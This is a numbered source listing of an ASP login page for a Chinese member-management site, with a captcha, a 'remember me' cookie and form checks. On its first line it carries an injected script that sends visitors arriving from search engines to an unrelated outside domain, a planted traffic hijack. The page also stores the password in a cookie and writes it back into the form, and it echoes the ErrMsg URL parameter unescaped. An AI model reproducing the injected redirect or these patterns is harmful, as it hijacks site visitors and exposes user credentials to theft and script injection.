d:\wwwroot\wuchunhua\liuyan\login.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@LANGUAGE="VBSCRIPT" CODEPAGE="936"
%
>
002:
<!--#include file = "function.asp"-->
<!--插入验证码图片：function。asp -->
003:
<html>
004:
<head>
005:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
006:
<title>会员管理系统</title>
007:
<script language="javascript">
008:
function CheckData()//表单数据检查函数
009:
{
010:
var errMsg = "";
011:
012:
//用户名、密码、验证都不能为空
013:
if(form1.name.value == "")
014:
errMsg = "请输入用户名"
015:
else if(form1.passwd.value == "")
016:
errMsg = "请输入密码"
017:
else if(form1.SafeCode.value == "")
018:
errMsg = "请输入验证码"
019:
020:
if(errMsg == "")
021:
return true;
022:
else
023:
{
024:
window.alert(errMsg);//提示错误信息
025:
return false;
026:
}
027:
}
028:
function SubmitForm()
029:
{
030:
//在提交表单时检验数据有效性
031:
if(CheckData())
032:
form1.submit();
033:
}
034:
</script>
035:
<style type="text/css">
036:
<!--
037:
.style1 {
038:
font-family: Verdana, Arial, Helvetica, sans-serif;
039:
font-size: 14px;
040:
}
041:
-->
042:
</style>
043:
</head>
044:
<body>
045:
<form name="form1" method="post" action="checkpwd.asp">
046:
<!--点击登录 按钮：会post到checkpwd。asp页面，会传递函数： RemMe是验证码 passwd是密码 name是名字，可以在下页显示：
047:
048:
049:
<%
050:
'运行错误：不支持这句话：name=request.form1("name")
051:
'不支持这句话：passwd=request.form("passwd")
052:
'不支持这句话：RemMe=request.form("RemMe")
053:
'不支持这句话：SafeCode=request.form("SafeCode")
054:
%
>
055:
056:
上页面传递过来此页面的信息：你填写的信息为：<br />
057:
姓名：
<%
=name
%
><br>
058:
密码：
<%
=passwd
%
>
059:
是记住登录
<%
=RemMe
%
>
060:
是验证码
<%
=SafeCode
%
>
061:
-->
062:
063:
<table width="441" border="0" align="center">
064:
<tr>
065:
<td height="100"></td>
066:
</tr>
067:
<tr>
068:
<td></td>
069:
</tr>
070:
<tr>
071:
<td><div align="center" class="style1">
072:
<%
073:
'如果已登陆用户再次进入此页面，给予提示 session已经真，则不需要登录
074:
If Session("IsPassed") = TRUE Then
075:
Msg = "你想要重新登陆么？"
076:
Else
077:
If Request.QueryString("ErrMsg") = EMPTY Then
078:
Msg = "欢迎登陆" '显示欢迎信息
079:
'吴春华添加弹窗：登陆：
080:
response.write "<script>alert('asp方法：要弹出的提示文字：欢迎登陆成功');</script>"
081:
Else
082:
'显示错误信息
083:
Msg = Request.QueryString("ErrMsg")
084:
'吴春华添加弹窗：登陆：
085:
response.write "<script>alert('asp方法：要弹出的提示文字：显示错误信息，登陆错误');</script>"
086:
End If
087:
End If
088:
089:
Response.Write(Msg)
090:
%
>
091:
</div></td>
092:
</tr>
093:
<tr>
094:
<td><table width="100%" border="0">
095:
<tr>
096:
<td width="9%"> </td>
097:
<td width="29%"><div align="center" class="style1">用户名</div></td>
098:
<td colspan="2"><input name="name" type="text" size="18" maxlength="16" value="
099:
<%
100:
'检查Cookies，如果存在帐号信息，则填写文本框
101:
If (Request.Cookies("Name") <> EMPTY) Then
102:
Response.Write(Request.Cookies("Name"))
103:
Else
104:
Response.Write("")
105:
End If
106:
%
>
107:
"></td>
108:
</tr>
109:
<tr>
110:
<td> </td>
111:
<td><div align="center" class="style1">密码</div></td>
112:
<td colspan="2"><input name="passwd" type="password" size="19" maxlength="16" value="
113:
<%
114:
'检查Cookies，如果存在密码信息，则填写文本框
115:
If (Request.Cookies("Password") <> EMPTY ) Then
116:
Response.Write(Request.Cookies("Password"))
117:
Else
118:
Response.Write("")
119:
End If
120:
%
>
121:
"></td>
122:
</tr>
123:
<tr>
124:
<td> </td>
125:
<td align="center" class="style1">验证码</td>
126:
<td width="37%"><input name="SafeCode" type="text" size="18" maxlength="16"></td>
127:
<td width="25%">
128:
<%
129:
'获得验证码图片
130:
call GetSafeCode()
131:
%
>
132:
</td>
133:
</tr>
134:
<tr>
135:
<td> </td>
136:
<td align="center"><input type="checkbox" name="RemMe" value="1"
137:
<%
138:
'检查Cookies，如果存在记住用户名，则设置复选框为Checked状态
139:
If (Request.Cookies("RemMe") = "1") Then
140:
Response.Write("CHECKED")
141:
Else
142:
Response.Write("")
143:
End If
144:
%
>
145:
></td>
146:
<td class="style1">记住我的名字和密码</td>
147:
<td class="style1"> </td>
148:
</tr>
149:
</table></td>
150:
</tr>
151:
<tr>
152:
<td><table width="100%" border="0">
153:
<tr>
154:
<td width="12%"> </td>
155:
<td width="36%" align="center"><input name="btnSub" type="button" width="99" height="23" border="0" value="提交" onClick="SubmitForm()"></td>
156:
<td width="27%" align="center"><input name="btnReset" type="reset" width="99" height="23" border="0" value="重置"></td>
157:
<td width="25%"> </td>
158:
</tr>
159:
<tr>
160:
<td> </td>
161:
<td colspan="2" align="center" class="style1"><a href="register.asp">加入会员</a></td>
162:
<td> </td>
163:
</tr>
164:
</table></td>
165:
</tr>
166:
<tr>
167:
<td> </td>
168:
</tr>
169:
</table>
170:
</form>
171:
</body>
172:
</html>
173:
174: